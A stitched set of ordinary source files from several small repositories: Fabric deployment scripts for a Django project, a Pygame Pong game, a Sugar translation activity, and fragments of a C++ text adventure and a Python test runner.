cout << "don't know how to \"" << user_verb << "\" \"" << user_noun << "\"\n";
return map;
}
// check for "ACCESS"
unordered_map<string, unordered_set<string>> thesaurus = gen_thesaurus();
if (thesaurus["ACCESS"].find(user_verb) != thesaurus["ACCESS"].end()) {
if (user_noun == "MAP") { print_map(map); }
if (user_noun == "PLAYER") { print_player(); }
return map;
}
// check for "MOVE"
if (thesaurus["MOVE"].find(user_verb) != thesaurus["MOVE"].end()) {
map = move_player(map, user_noun);
return map;
}
return map;
}<file_sep>#pragma once
int help() {
// player instructions
cout
<< "\n||" << string(93, '=') << "||\n"
<< "|| INSTRUCTIONS ||\n"
<< "||" << string(93, '=') << "||\n"
<< "|| Helpful Commands (don't worry, these aren't case sensitive): Map key: ||\n"
<< "|| HELP: Brings up these instructions again P: Player ||\n"
<< "|| EXIT: Exits the game quite abruptly M: Monster ||\n"
<< "|| Gameplay commands are in the form of <VERB> <NOUN> pairs, (e.g., LOOK LEFT) E: Exit ||\n"
<< "|| Here are a few useful, non-obvious, or meta pairs: I: Item ||\n"
<< "|| LIST VERBS: lists all the available verbs and their recognized synonymns #: Wall ||\n"
//<< "|| HOW <VERB>: lists all the nouns for an available verb ||\n"
<< "|| MOVE <DIRECTION>: Currently only works with NORTH, SOUTH, EAST, WEST. ||\n"
<< "||" << string(93, '=') << "||\n\n";
return 0;
}
| c104ec924f0958d6ba2d3c69ca54289a9289381c | [
"C",
"C++"
] | 21 | C | developtolearn/ludum-dare-48-simple | 165b0900ac3b3c248b004c6bb21e73498bbb5463 | 4a0bb60805c6055a3d59baa2fb8f12371970becb |
refs/heads/master | <file_sep>#coding: utf-8
from fabric.api import run, require, prefix, env, task
@task
def start():
"""
:: Started gunicorn on server
"""
require('project', provided_by=('staging', 'production'))
with prefix("export PROJECT_HOME=%(projserver)s" %env):
with prefix("export WORKON_HOME=%(envserver)s" %env):
with prefix("source /usr/local/bin/virtualenvwrapper.sh"):
run("workon %(project)s; gunicorn -w3 %(gunicorn_wsgi_app)s --bind %(gunicorn_bind)s --pid %(gunicorn_pidfile)s -D; deactivate" %env)
@task
def stop():
"""
:: Stoped gunicorn on server
"""
require('gunicorn_pidfile', provided_by=('staging', 'production'))
run('kill `cat %(gunicorn_pidfile)s`' %env)
@task
def reload():
"""
:: Reloaded gunicorn on server
"""
stop()
start()<file_sep>#coding: utf-8
from fabric.api import run, task, require, env
from fabric.operations import put
@task
def upload_apache_conf():
"""
:: Upload the apache.conf
"""
require('project', provided_by=('staging', 'production', ))
env.apache_conf = '%(project_local_path)s/%(project)s/%(project)s.conf' % env
env.apache_path = '~/.apache-conf/' % env
put('%(apache_conf)s' % env, '%(apache_path)s' % env)
run('ls -la %(apache_path)s' % env)
@task
def remove_conf():
"""
:: Remove the apache.conf
"""
require('project', provided_by=('staging', 'production', ))
env.apache_file = '~/.apache-conf/%(project)s.conf' % env
run('rm %(apache_file)s' % env)
@task
def touch():
"""
:: Touch wsgi
"""
require('project', provided_by=('staging', 'production', ))
env.wsgi_file = '%(project_server_path)s/%(project)s/wsgi.py' % env
run('touch %(wsgi_file)s' % env)
<file_sep># coding: utf-8
from fabric.colors import red
from fabric.api import env, require, run, task, cd
from fabric.context_managers import prefix
from fabric.contrib.files import exists
from fabric.operations import sudo
@task
def lista():
"""
:: List home
"""
run('ls -la')
@task
def virtualenv():
"""
:: Setup virtualenv on remote host.
"""
require('project', provided_by=('staging', 'production'))
with prefix("export PROJECT_HOME=%(projserver)s" %env):
with prefix("export WORKON_HOME=%(envserver)s" %env):
with prefix("source /usr/local/bin/virtualenvwrapper.sh"):
run("mkproject %(project)s" % env)
@task
def requirements():
"""
:: Update Python dependencies on remote host.
"""
require('project', provided_by=('staging', 'production'))
with prefix("export PROJECT_HOME=%(projserver)s" %env):
with prefix("export WORKON_HOME=%(envserver)s" %env):
with prefix("source /usr/local/bin/virtualenvwrapper.sh"):
run("workon %(project)s; pip install -r %(requirements)s; deactivate" % env)
@task
def nginx_reload():
"""
:: Restart Nginx on server
"""
sudo('service nginx stop')
sudo('service nginx start')
@task
def del_app():
"""
:: Delete project
"""
require('project', provided_by=('staging', 'production'))
with cd(env.projserver):
with prefix("export PROJECT_HOME=%(projserver)s" %env):
with prefix("export WORKON_HOME=%(envserver)s" %env):
with prefix("source /usr/local/bin/virtualenvwrapper.sh"):
run('rm -rf %(project)s; rmvirtualenv %(project)s' %env)<file_sep># coding: utf-8
from fabric.api import env, require, run, task
from fabric.context_managers import prefix
from fabric.contrib.project import rsync_project
@task
def send():
"""
:: Send the code to the remote host.
"""
require('project_server_path', provided_by=('staging', 'production'))
# Copy the project
rsync_project(
remote_dir=env.project_server_path,
local_dir=env.project_local_path + "/",
exclude=[
'*.db',
'*.pyc',
'*.sqlite3',
'.git*',
'.sass-cache',
'media/*',
'tests/*',
'static/sass',
'DS_Store',
'pylintrc',
'fabfile',
'config.rb',
'settings/production.py',
'.ropeproject',
'*.conf'
'src',
],
delete=True,
extra_opts='--omit-dir-times',
)
@task
def collectstatic():
"""
:: Collect all static files from Django apps and copy them into the public static folder.
"""
require('project_server_path', provided_by=('staging', 'production'))
run(('source %(activate)s; python %(manage)s collectstatic --noinput; deactivate') % env)
@task
def update():
"""
:: Send files and execute collectstatic
"""
send()
collectstatic()<file_sep># coding: utf-8
from fabric.api import env, require, run, task
from fabric.context_managers import prefix
@task
def syncdb():
"""
:: Execute syncdb on remote host.
"""
require('activate', provided_by=('staging', 'production'))
run(('source %(activate)s; python %(manage)s syncdb') % env)
@task
def migrate():
"""
:: Execute migrate on remote host.
"""
require('activate', provided_by=('staging', 'production'))
run(('source %(activate)s; python %(manage)s makemigrations') % env)
run(('source %(activate)s; python %(manage)s migrate') % env)<file_sep># coding: utf-8
import os
from fabric.api import task, env, require, prefix, run
# Tasks
import deploy
import db
import setup
import gunicorn
import apache
@task
def stage():
env.environment = 'staging'
# Connection
env.user = ''
env.hosts = ['',]
env.project = ''
env.server = ''
_config()
@task
def production():
env.environment = 'production'
# Connection
env.user = ''
env.hosts = ['',]
env.project = ''
_config()
def _config():
# Virtualenv server folder
env.envserver = '~/env'
# Folder of all projects on the server
env.projserver = '~/Projects'
# Gunicorn
env.gunicorn_wsgi_app = 'project.wsgi:application'
env.gunicorn_pidfile = '/tmp/gunicorn_%(project)s.pid' %env
env.gunicorn_bind = '127.0.0.1:8000'
env.django_settings_module = 'project.settings'
# Local and Server Paths
env.project_local_path = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
env.project_server_path = os.path.join(env.projserver, env.project)
# Vitualenv paths
env.virtualenv = os.path.join(env.envserver, env.project)
env.manage = os.path.join(env.projserver,env.project,'manage.py')
env.activate = os.path.join(env.envserver,env.project,'bin','activate')
# Requirements
env.requirements = os.path.join(env.project_server_path, 'requirements.txt')
@task
def bootstrap():
"""
:: Initialize remote host environment.
"""
require('project', provided_by=('staging', 'production'))
# Create virtualenv to wrap the environment
setup.virtualenv()
# Send the project to the remote host
deploy.send()
# Install dependencies on the virtualenv
setup.requirements()
# Execute collectstatic
deploy.collectstatic()
# Create the database
db.syncdb()
if env.server == 'apache':
apache.upload_apache_conf()
elif env.server == 'gunicorn':
# Start gunicorn
gunicorn.start()
@task
def update():
"""
:: Upload all changes
"""
deploy.send()
setup.requirements()
deploy.collectstatic()
db.migrate()
db.syncdb()
if env.server == 'apache':
apache.touch()
elif env.server == 'gunicorn':
gunicorn.reload()
| 4c0d2a3096c346197aa48573dd1c0985666e02cf | [
"Python"
] | 6 | Python | guilouro/fabfile | d291fb380b89b0337e5d7014d4f7a55dbeec862d | 907ddc4f41fad4cfd61b020825470ecfb3f7d0a2 |
refs/heads/master | <file_sep>import random
import pygame
from pygame.sprite import Sprite
import time
class Ball(Sprite):
def __init__(self, screen, settings, menu):
super(Ball, self).__init__()
self.size = 15
self.rect = pygame.Rect(250, 250, self.size, self.size)
self.screen = screen
self.screenRect = screen.get_rect()
if random.randint(0, 2) == 0:
self.movingUp = False
else:
self.movingUp = True
if random.randint(0,2) == 0:
self.movingLeft = False
else:
self.movingLeft = True
self.varience = random.randint(1, 4) / 10
self.settings = settings
self.rect.y = self.screenRect.bottom / 2
self.rect.centerx = self.screenRect.centerx
self.y = float(self.rect.y)
self.x = float(self.rect.x)
def update(self, settings, gameStats, scores, balls):
if self.movingUp:
self.y -= settings.ballSpeed
if self.y < 0:
if self.x <= self.screenRect.right/2:
gameStats.playerScore += 1
else:
gameStats.botScore += 1
scores.prepScore(gameStats)
time.sleep(0.5)
balls.remove(self)
else:
self.y += settings.ballSpeed
if self.y > self.screenRect.bottom - self.size:
if self.x <= self.screenRect.right/2:
gameStats.playerScore += 1
else:
gameStats.botScore += 1
scores.prepScore(gameStats)
time.sleep(0.5)
balls.remove(self)
if self.movingLeft:
self.x -= settings.ballSpeed + self.varience / 2
if self.x < -1:
gameStats.playerScore += 1
scores.prepScore(gameStats)
time.sleep(0.5)
balls.remove(self)
else:
self.x += settings.ballSpeed + self.varience / 2
if self.x > self.settings.screenWidth - self.size:
gameStats.botScore += 1
scores.prepScore(gameStats)
time.sleep(0.8)
balls.remove(self)
self.rect.x, self.rect.y = self.x, self.y
def drawBall(self):
pygame.draw.rect(self.screen, (255, 255, 255), self.rect)
<file_sep>import pygame.font
class ScoreBoard():
def __init__(self, screen, settings, gameStats):
self.screen = screen
self.screenRect = screen.get_rect()
self.width, self.height = 250, 50
self.scoreColor = (40, 40, 40)
self.textColor = (200, 200, 200)
self.font = pygame.font.SysFont(None, 40)
self.rect = pygame.Rect(0, 0, self.width, self.height)
self.rect2 = pygame.Rect(0, 0, self.width, self.height)
self.rect.x = self.screenRect.left
self.rect2.x = self.screenRect.right - self.width - 10
self.prepScore(gameStats)
def prepScore(self, gameStats):
self.msgImage = self.font.render("Bot Score: " + str(gameStats.botScore), True, self.textColor, self.scoreColor)
self.imageRect = self.msgImage.get_rect()
self.imageRect.center = self.rect.center
self.msgImage2 = self.font.render("Player Score: " + str(gameStats.playerScore), True, self.textColor, self.scoreColor)
self.imageRect2 = self.msgImage2.get_rect()
self.imageRect2.center = self.rect2.center
def showScore(self):
self.screen.blit(self.msgImage, self.imageRect)
self.screen.blit(self.msgImage2, self.imageRect2)
<file_sep>import pygame.font
class Button():
def __init__(self, screen, settings, msg):
self.screen = screen
self.screenRect = screen.get_rect()
self.width, self.height = 250, 50
self.buttonColor = (30, 100, 30)
self.textColor = (200, 200, 200)
self.font = pygame.font.SysFont(None, 48)
self.rect = pygame.Rect(0, 0, self.width, self.height)
self.rect.center = self.screenRect.center
self.prepMsg(msg)
def prepMsg(self, msg):
self.msgImage = self.font.render(msg, True, self.textColor, self.buttonColor)
self.imageRect = self.msgImage.get_rect()
self.imageRect.center = self.rect.center
def drawButton(self):
self.screen.fill(self.buttonColor, self.rect)
self.screen.blit(self.msgImage, self.imageRect)<file_sep>class GameStats:
def __init__(self):
self.gameActive = False
self.playerScore = 0
self.botScore = 0
<file_sep>import pygame
from ball import Ball
class AI():
def __init__(self, screen, settings, menu):
self.width = 12
self.height = 60
self.rect = pygame.Rect(0, 0, self.width, self.height)
self.rect2 = pygame.Rect(0, 0, self.height, self.width)
self.rect3 = pygame.Rect(0, 0, self.height, self.width)
self.screen = screen
self.screenRect = screen.get_rect()
self.settings = settings
self.closeBall = Ball(screen, settings, menu)
self.closeBall.x = self.screenRect.right
self.rect.centerx = self.screenRect.left + 50
self.rect.y = self.screenRect.bottom / 2
self.y = float(self.rect.y)
self.rect2.x, self.rect3.x = self.screenRect.right/4, self.screenRect.right/4
self.rect2.y, self.rect3.y = 50, self.screenRect.bottom - 50
self.x = float(self.rect2.x)
def update(self, balls):
for ball in balls:
if ball.x < self.closeBall.x:
self.closeBall = ball
if self.closeBall.x < self.screenRect.right / 2:
if self.y + self.height/5 > self.closeBall.y:
self.y -= self.settings.AISpeed + .3
elif self.y + self.height/2 < self.closeBall.y + self.height:
self.y += self.settings.AISpeed + .3
self.rect.y = self.y
if self.x + self.height/5 < self.closeBall.x and self.x < self.screenRect.right/2 - self.height:
self.x += self.settings.AISpeed + .3
elif self.x + self.height/2 > self.closeBall.x and self.x > 0:
self.x -= self.settings.AISpeed + .3
self.rect2.x, self.rect3.x = self.x, self.x
def drawAI(self):
pygame.draw.rect(self.screen, (255, 255, 255), self.rect)
pygame.draw.rect(self.screen, (255, 255, 255), self.rect2)
pygame.draw.rect(self.screen, (255, 255, 255), self.rect3)
def reset(self):
self.y = self.screenRect.bottom/2
self.rect.y = self.y
self.closeBall.x = self.screenRect.right<file_sep>import pygame
from pygame.sprite import Group
from settings import Settings
from gameStats import GameStats
from button import Button
from player import Player
from ai import AI
from ball import Ball
from scoreBoard import ScoreBoard
from menu import Menu
import gameFunctions as gf
def runGame():
pygame.init()
pygame.display.set_caption("Pong")
settings = Settings()
gameStats = GameStats()
screen = pygame.display.set_mode((settings.screenWidth, settings.screenHeight))
menu = Menu()
button = Button(screen, settings, "Play")
scores = ScoreBoard(screen, settings, gameStats)
player = Player(screen, settings)
bot = AI(screen, settings, menu)
balls = Group()
newBall = Ball(screen, settings, menu)
balls.add(newBall)
while True:
screen.fill(settings.bgColor)
gf.drawField(screen, settings)
gf.checkEvent(player, settings, menu, gameStats, scores, button)
gf.updateScreen(player, balls, bot, scores)
if gameStats.gameActive == True:
player.update()
bot.update(balls)
balls.update(settings, gameStats, scores, balls)
scores.showScore()
gf.checkBallAmount(screen, settings, bot, balls, menu)
if gameStats.playerScore >= settings.scoreLimit or gameStats.botScore >= settings.scoreLimit:
gf.restartGame(screen, settings, gameStats, player, bot, balls, menu)
if gameStats.gameActive == False:
button.drawButton()
pygame.mouse.set_visible(True)
menu.drawWin(gameStats, settings)
menu.prepMenu(screen, settings, balls, bot)
menu.drawMenu()
pygame.display.flip()
runGame()<file_sep>import pygame
class Player():
def __init__(self, screen, settings):
self.width = 12
self.height = 60
self.rect = pygame.Rect(0, 0, self.width, self.height)
self.screen = screen
self.screenRect = screen.get_rect()
self.settings = settings
self.movingUp = False
self.movingDown = False
self.movingLeft = False
self.movingRight = False
self.rect.centerx = self.screenRect.right - 50
self.rect.y = self.screenRect.bottom / 2
self.y = float(self.rect.y)
self.x = 3 * self.screenRect.width/4
self.rect2 = pygame.Rect(0, 0, self.height, self.width)
self.rect2.y = self.screenRect.top + 50
self.rect3 = pygame.Rect(0, 0, self.height, self.width)
self.rect2.x, self.rect3.x = self.x, self.x
self.rect3.y = self.screenRect.bottom - 50
def update(self):
if self.movingUp and self.y > self.screenRect.top + 5:
self.y -= self.settings.playerSpeed
elif self.movingDown and self.y < self.screenRect.bottom - self.height - 5:
self.y += self.settings.playerSpeed
self.rect.y = self.y
if self.movingLeft and self.x > self.screenRect.width / 2:
self.x -= self.settings.playerSpeed
elif self.movingRight and self.x < self.screenRect.right - self.rect.height - 5:
self.x += self.settings.playerSpeed
self.rect2.x, self.rect3.x = self.x, self.x
def drawPlayer(self):
pygame.draw.rect(self.screen, (255, 255, 255), self.rect)
pygame.draw.rect(self.screen, (255, 255, 255), self.rect2)
pygame.draw.rect(self.screen, (255, 255, 255), self.rect3)
def reset(self):
self.y = self.screenRect.bottom/2
self.rect.y = self.y
self.x2 = self.screenRect.width / 2
self.rect2.x, self.rect3.x = self.x, self.x
<file_sep>import pygame.font
class Menu:
def __init__(self):
self.difficulty = 0
self.bgColor = (40, 40, 40)
self.selectColor = (20, 100, 20)
self.nonSelectColor = (90, 90, 90)
self.font = pygame.font.SysFont(None, 40)
self.first = True
def prepMenu(self, screen, settings, balls, bot):
setSize = (0, 0, 250, 100)
self.screen = screen
self.diffRect = pygame.Rect(setSize)
self.diffOpt1Rect = pygame.Rect(setSize)
self.diffOpt2Rect = pygame.Rect(setSize)
self.diffOpt3Rect = pygame.Rect(setSize)
self.pointRect = pygame.Rect(setSize)
self.winnerRect = pygame.Rect(setSize)
self.diffRect.y, self.pointRect.y = 7 * settings.screenHeight / 10, 8 * settings.screenHeight / 10
self.diffRect.x, self.pointRect.x = settings.screenWidth/5, settings.screenWidth/4
self.winnerRect.x, self.winnerRect.y = settings.screenWidth/2, settings.screenHeight/3
self.pointImage = self.font.render("Score Limit: " + str(settings.scoreLimit), True, self.selectColor)
self.pointImageRect = self.pointImage.get_rect()
self.pointImageRect = self.pointRect
self.pointMoreImage = self.font.render("More", True, self.selectColor)
self.pointLessImage = self.font.render("Less", True, self.selectColor)
self.pointMoreImageRect = self.pointMoreImage.get_rect()
self.pointLessImageRect = self.pointLessImage.get_rect()
self.pointMoreImageRect.x, self.pointMoreImageRect.y = 2 * settings.screenWidth/4, 8 * settings.screenHeight / 10
self.pointLessImageRect.x, self.pointLessImageRect.y = 3 * settings.screenWidth/4, 8 * settings.screenHeight / 10
self.diffImage = self.font.render("Difficulty level: ", True, self.selectColor)
self.diffImageRect = self.diffImage.get_rect()
self.diffImageRect.y = self.diffRect.y
self.diffImageRect.x = self.diffRect.x
if self.difficulty == 0:
self.diffOpt1Image = self.font.render("Easy", True, self.selectColor)
else:
self.diffOpt1Image = self.font.render("Easy", True, self.nonSelectColor)
if self.difficulty == 1:
self.diffOpt2Image = self.font.render("Med", True, self.selectColor)
else:
self.diffOpt2Image = self.font.render("Med", True, self.nonSelectColor)
if self.difficulty == 2:
self.diffOpt3Image = self.font.render("Hard", True, self.selectColor)
else:
self.diffOpt3Image = self.font.render("Hard", True, self.nonSelectColor)
self.diffOpt1ImageRect = self.diffOpt1Image.get_rect()
self.diffOpt2ImageRect = self.diffOpt1Image.get_rect()
self.diffOpt3ImageRect = self.diffOpt1Image.get_rect()
self.diffOpt1ImageRect.x, self.diffOpt1ImageRect.y = 2 * settings.screenWidth/5, 7 * settings.screenHeight / 10
self.diffOpt2ImageRect.x, self.diffOpt2ImageRect.y = 3 * settings.screenWidth/5, 7 * settings.screenHeight / 10
self.diffOpt3ImageRect.x, self.diffOpt3ImageRect.y = 4 * settings.screenWidth/5, 7 * settings.screenHeight / 10
def drawMenu(self):
self.screen.blit(self.diffImage, self.diffImageRect)
self.screen.blit(self.diffOpt1Image, self.diffOpt1ImageRect)
self.screen.blit(self.diffOpt2Image, self.diffOpt2ImageRect)
self.screen.blit(self.diffOpt3Image, self.diffOpt3ImageRect)
self.screen.blit(self.pointImage, self.pointImageRect)
self.screen.blit(self.pointMoreImage, self.pointMoreImageRect)
self.screen.blit(self.pointLessImage, self.pointLessImageRect)
def drawWin(self, gameStats, settings):
if self.first == False:
if gameStats.playerScore > gameStats.botScore:
self.winnerImage = self.font.render("Player is the winner", True, self.selectColor)
else:
self.winnerImage = self.font.render("Bot is Winner", True, self.selectColor)
self.winnerImageRect = self.winnerImage.get_rect()
self.winnerImageRect.x, self.winnerImageRect.y = settings.screenWidth/2, settings.screenHeight/3
self.screen.blit(self.winnerImage, self.winnerImageRect)
<file_sep>from random import randint
class Settings():
def __init__(self):
#screen
self.screenWidth = 1500
self.screenHeight = 650
self.bgColor = (20, 20, 20)
# PLAYER
self.playerSpeed = 1.6
# AI
self.AISpeed = .25
# BALL
self.ballSpeed = .3
# SCORE LIMIT
self.scoreLimit = 3
<file_sep>import sys
import pygame
from player import Player
from ai import AI
from ball import Ball
from button import Button
from scoreBoard import ScoreBoard
from menu import Menu
from pygame.mixer import music
def checkEvent(player, settings, menu, gameStats, scores, button):
for event in pygame.event.get():
if event.type == pygame.KEYDOWN:
checkKeyDown(event, player)
elif event.type == pygame.KEYUP:
checkKeyUp(event, player)
elif event.type == pygame.MOUSEBUTTONDOWN:
mouseX, mouseY = pygame.mouse.get_pos()
checkPlay(gameStats, settings, menu, button, scores, mouseX, mouseY)
checkMenu(gameStats, settings, menu, mouseX, mouseY)
elif event.type == pygame.QUIT:
sys.exit()
def checkKeyDown(event, player):
if event.key == pygame.K_DOWN:
player.movingDown = True
elif event.key == pygame.K_UP:
player.movingUp = True
elif event.key == pygame.K_LEFT:
player.movingLeft = True
elif event.key == pygame.K_RIGHT:
player.movingRight = True
def checkKeyUp(event, player):
if event.key == pygame.K_DOWN:
player.movingDown = False
elif event.key == pygame.K_UP:
player.movingUp = False
elif event.key == pygame.K_LEFT:
player.movingLeft = False
elif event.key == pygame.K_RIGHT:
player.movingRight = False
def checkMenu(gameStats, settings, menu, mouseX, mouseY):
if menu.pointMoreImageRect.collidepoint(mouseX, mouseY):
settings.scoreLimit += 1
elif menu.pointLessImageRect.collidepoint(mouseX, mouseY):
settings.scoreLimit -= 1
elif menu.diffOpt1ImageRect.collidepoint(mouseX, mouseY):
menu.difficulty = 0
elif menu.diffOpt2ImageRect.collidepoint(mouseX, mouseY):
menu.difficulty = 1
elif menu.diffOpt3ImageRect.collidepoint(mouseX, mouseY):
menu.difficulty = 2
def checkPlay(gameStats, settings, menu, button, scores, mouseX, mouseY): # Checks to see if play was pressed when gameActive is False
if button.rect.collidepoint(mouseX, mouseY) and settings.scoreLimit > 0:
gameStats.gameActive = True
pygame.mouse.set_visible(False)
scores.prepScore(gameStats)
addDiff(settings, menu)
menu.first = False
def checkBallAmount(screen, settings, bot, balls, menu):
if len(balls) == 0:
newBall = Ball(screen, settings, menu)
balls.add(newBall)
bot.closeBall.x = settings.screenWidth
def updateScreen(player, balls, bot, scores): # updates Player, bot, and balls (also tests for collisions
player.drawPlayer()
bot.drawAI()
scores.showScore()
checkBallCollision(balls, player, bot)
for ball in balls.sprites():
ball.drawBall()
def checkBallCollision(balls, player, bot):
for ball in balls.sprites():
if ball.rect.right >= player.rect.left and ball.rect.right <= player.rect.right: # Checks for Collision
if ball.y + ball.size >= player.rect.top and ball.y <= player.rect.bottom:
if ball.movingLeft == False: # this is so the ball only gets one speed boost per hit
ball.varience += 0.05
pygame.mixer.music.load('bounce.mp3')
pygame.mixer.music.play(0)
ball.movingLeft = True
if ball.rect.top == player.rect2.bottom or ball.rect.bottom == player.rect3.top:
if (ball.rect.left <= player.rect2.right and ball.rect.right >= player.rect2.left) or (ball.rect.left <= player.rect3.right and ball.rect.right >= player.rect3.left):
if ball.movingUp == False:
ball.movingUp = True
else:
ball.movingUp = False
ball.varience += 0.05
pygame.mixer.music.load('bounce.mp3')
pygame.mixer.music.play(0)
if ball.rect.left >= bot.rect.left and ball.rect.left <= bot.rect.right: # Checks for Collision
if ball.y + ball.size >= bot.rect.top and ball.y <= bot.rect.bottom:
if ball.movingLeft == True: # this is so the ball only gets on speed boost per hit
ball.varience += 0.05
pygame.mixer.music.load('bounce.mp3')
pygame.mixer.music.play(0)
ball.movingLeft = False
if ball.rect.top == bot.rect2.bottom or ball.rect.bottom == bot.rect3.top:
if (ball.rect.left <= bot.rect2.right and ball.rect.right >= bot.rect2.left) or (ball.rect.left <= bot.rect3.right and ball.rect.right >= bot.rect3.left):
if ball.movingUp == False:
ball.movingUp = True
else:
ball.movingUp = False
ball.varience += 0.05
pygame.mixer.music.load('bounce.mp3')
pygame.mixer.music.play(0)
def restartGame(screen, settings, gameStats, player, bot, balls, menu):
print("GAME RESET")
gameStats.gameActive = False
gameStats.playerScore = 0
gameStats.botScore = 0
player.reset()
bot.reset()
balls.empty()
newBall = Ball(screen, settings, menu)
balls.add(newBall)
subDiff(settings, menu)
def drawField(screen, settings):
pointList = (50, 55), (settings.screenWidth - 50, 55), (settings.screenWidth - 50, settings.screenHeight - 45), (50, settings.screenHeight - 45)
pygame.draw.line(screen, (50, 50, 50), (settings.screenWidth/2, 0), (settings.screenWidth/2, settings.screenHeight), 5)
pygame.draw.lines(screen, (50, 50, 50), True, pointList, 5)
def addDiff(settings, menu):
if menu.difficulty == 1:
settings.AISpeed += .15
settings.ballSpeed += .1
elif menu.difficulty == 2:
settings.AISpeed += .3
settings.ballSpeed += .2
def subDiff(settings, menu):
if menu.difficulty == 1:
settings.AISpeed -= .15
settings.ballSpeed -= .1
elif menu.difficulty == 2:
settings.AISpeed -= .3
settings.ballSpeed -= .2
| e4b1ddd57c3c47f02ca3bd3d1300095900035e05 | [
"Python"
] | 10 | Python | Kaine-R/Aliens | 897b6c7ae39542d71dbfe836638bbf4a3b5b59b0 | 67bbc1bea0423dcd62b794186c581a5e1cb6b0e0 |
refs/heads/master | <repo_name>digideskio/translate-activity<file_sep>/Translate.activity/gtlib.py
#!/usr/bin/env python
from urllib2 import urlopen
from urllib import urlencode
import sys
from gd import detect_lang
MAX_TEXT_LENGTH = 680
def translate(text, to='en'):
to_langs = to.split(' ')
paragraphs = text.split('\n')
lang1 = detect_lang(paragraphs[0][:MAX_TEXT_LENGTH])
results = {}
for lang in to_langs:
langpair = '%s|%s'%(lang1,lang)
base_url = 'http://ajax.googleapis.com/ajax/services/language/translate?'
translation = ''
index = 0
for p in paragraphs:
cut = False
index += 1
if isBlank(p): continue
if len(p) > MAX_TEXT_LENGTH:
paragraphs.insert(index, p[680:])
p = p[:680]
cut = True
params = urlencode((('v',1.0), ('q',p),('langpair',langpair)))
url = base_url + params
content = urlopen(url).read()
start_idx = content.find('"translatedText":"')+18
_translation = content[start_idx:]
end_idx = _translation.find('"}, "')
if cut: newline = ''
else: newline = '\n'
translation += _translation[:end_idx] + newline
results[lang] = translation
#if len(results) == 1: return results[lang[0]]
return results
def isBlank(str):
return len(str.strip()) == 0
def main():
print translate('Hello World', 'ar es ja')
if __name__ == '__main__':
main()<file_sep>/Translate.activity/TranslateActivity.py
from sugar.activity import activity
import logging
import sys, os
import gtk
import pygtk
pygtk.require('2.0')
from gtlib import translate as translate
import languages
# Adding a comment to test the subclipse functionality!
class TranslateActivity(activity.Activity):
def __init__(self, handle):
print "running activity init", handle
activity.Activity.__init__(self, handle)
print "activity running"
# Creates the Toolbox. It contains the Activity Toolbar, which is the
# bar that appears on every Sugar window and contains essential
# functionalities, such as the 'Collaborate' and 'Close' buttons.
toolbox = activity.ActivityToolbox(self)
self.set_toolbox(toolbox)
toolbox.show()
# Creates a new button with the label "Hello World".
#self.window = gtk.Window(gtk.WINDOW_TOPLEVEL)
scrolled = gtk.ScrolledWindow()
scrolled.set_policy(gtk.POLICY_NEVER, gtk.POLICY_AUTOMATIC)
scrolled.props.shadow_type = gtk.SHADOW_NONE
# When the button receives the "clicked" signal, it will call the
# function hello() passing it None as its argument. The hello()
# function is defined above.
#self.button.connect("clicked", self.hello, None)
self.field_hbox = gtk.HBox(False, 0)
self.languages_hbox = gtk.HBox(False, 0)
self.vbox = gtk.VBox(False, 0)
self.vbox.add(self.field_hbox)
scrolled.add(self.vbox)
self.input_field = gtk.Entry()
self.button = gtk.Button('Translate')
self.button.connect('clicked', self.handleTranslate)
self.result_field = gtk.Entry()
self.languages_buttons = []
for lang in languages.LANGUAGES_CODES.items():
lb = gtk.ToggleButton(lang[0])
self.languages_buttons.append(lb)
self.languages_hbox.add(lb)
self.field_hbox.add(self.input_field)
self.field_hbox.add(self.button)
self.vbox.add(self.field_hbox)
self.vbox.add(self.languages_hbox)
self.vbox.add(self.result_field)
# Set the button to be our canvas. The canvas is the main section of
# every Sugar Window. It fills all the area below the toolbox.
self.set_canvas(scrolled)
# The final step is to display this newly created widget.
scrolled.show_all()
def handleTranslate(self, widget):
#self.result_field.set_text('Loading...')
to_langs = ''
for lb in self.languages_buttons:
if lb.get_active(): to_langs += languages.LANGUAGES_CODES[lb.get_label()] + ' '
if len(to_langs.strip()) == 0: return
result = translate(self.input_field.get_text(), to_langs.strip())
for c in self.vbox.children()[2:]:
self.vbox.remove(c)
for lang in result.items():
result_field = gtk.Entry()
result_field.set_text(lang[1].strip())
field_hbox = gtk.HBox(False, 0)
field_label = gtk.Label(languages.CODES_LANGUAGES[lang[0]])
field_hbox.add(field_label)
field_hbox.add(result_field)
self.vbox.add(field_hbox)
field_hbox.show_all()
<file_sep>/Translate.activity/setup.py
#!/usr/bin/env python
try:
from sugar.activity import bundlebuilder
bundlebuilder.start()
except ImportError:
import os
os.system("find ./ | sed 's,^./,TranslateActivity.activity/,g' > MANIFEST")
os.system('rm TranslateActivity.xo')
os.chdir('..')
os.system('zip -r TranslateActivity.xo TranslateActivity.activity')
os.system('mv TranslateActivity.xo ./TranslateActivity.activity')
os.chdir('TranslateActivity.activity')
<file_sep>/README.md
# translate-activity
Automatically exported from code.google.com/p/translate-activity
Using Google Language Detection API and Google Translation API the sentence is to be translated for the languages selected from the GUI.
The GUI still messy, but it will be fixed and enhanced soon.
Need help in Localization to different languages (e.g. Arabic)
| 08a66a4053807da3a36f2bebde739cd69817be39 | [
"Markdown",
"Python"
] | 4 | Python | digideskio/translate-activity | e4dbd906fd4270378ff287ee84f9273c2cca0760 | 42c4d5d6bbceeff9ebc311d2ef24cfb090a402c6 |
refs/heads/master | <repo_name>TakoFerenc/R3PI<file_sep>/main.py
from unittest import TestLoader, TestSuite
from HtmlTestRunner import HTMLTestRunner
import click
import os
import test_restAPI
import test_Calculator
restAPI_tests = TestLoader().loadTestsFromTestCase(test_restAPI.TestRestAPI)
calculator_tests = TestLoader().loadTestsFromTestCase(test_Calculator.TestCalculatorApp)
suite = TestSuite([restAPI_tests, calculator_tests])
current_dir = os.getcwd()
runner = HTMLTestRunner(output=current_dir)
@click.group()
def cli():
pass
@cli.command()
def run_all_tests():
"""This script runs all the tests."""
runner.run(suite)
click.echo('finished')
@cli.command()
def run_restapi_tests():
"""This script runs the RestAPI related tests."""
runner.run(restAPI_tests)
click.echo('finished')
@cli.command()
def run_calculator_tests():
"""This script runs the Calculator app related tests."""
runner.run(calculator_tests)
click.echo('finished')
<file_sep>/restAPI_actions.py
import requests
import random
URL = 'http://jsonplaceholder.typicode.com/'
class ControlRestAPI:
def __init__(self):
self.user_id = random.randint(1, 10)
def get_user_data(self):
# This function returns all data of a random user and prints its address
self.url = f'{URL}users/{self.user_id}'
self.open_url = requests.get(self.url)
self.user_data = self.open_url.json()
self.address = self.user_data['address']
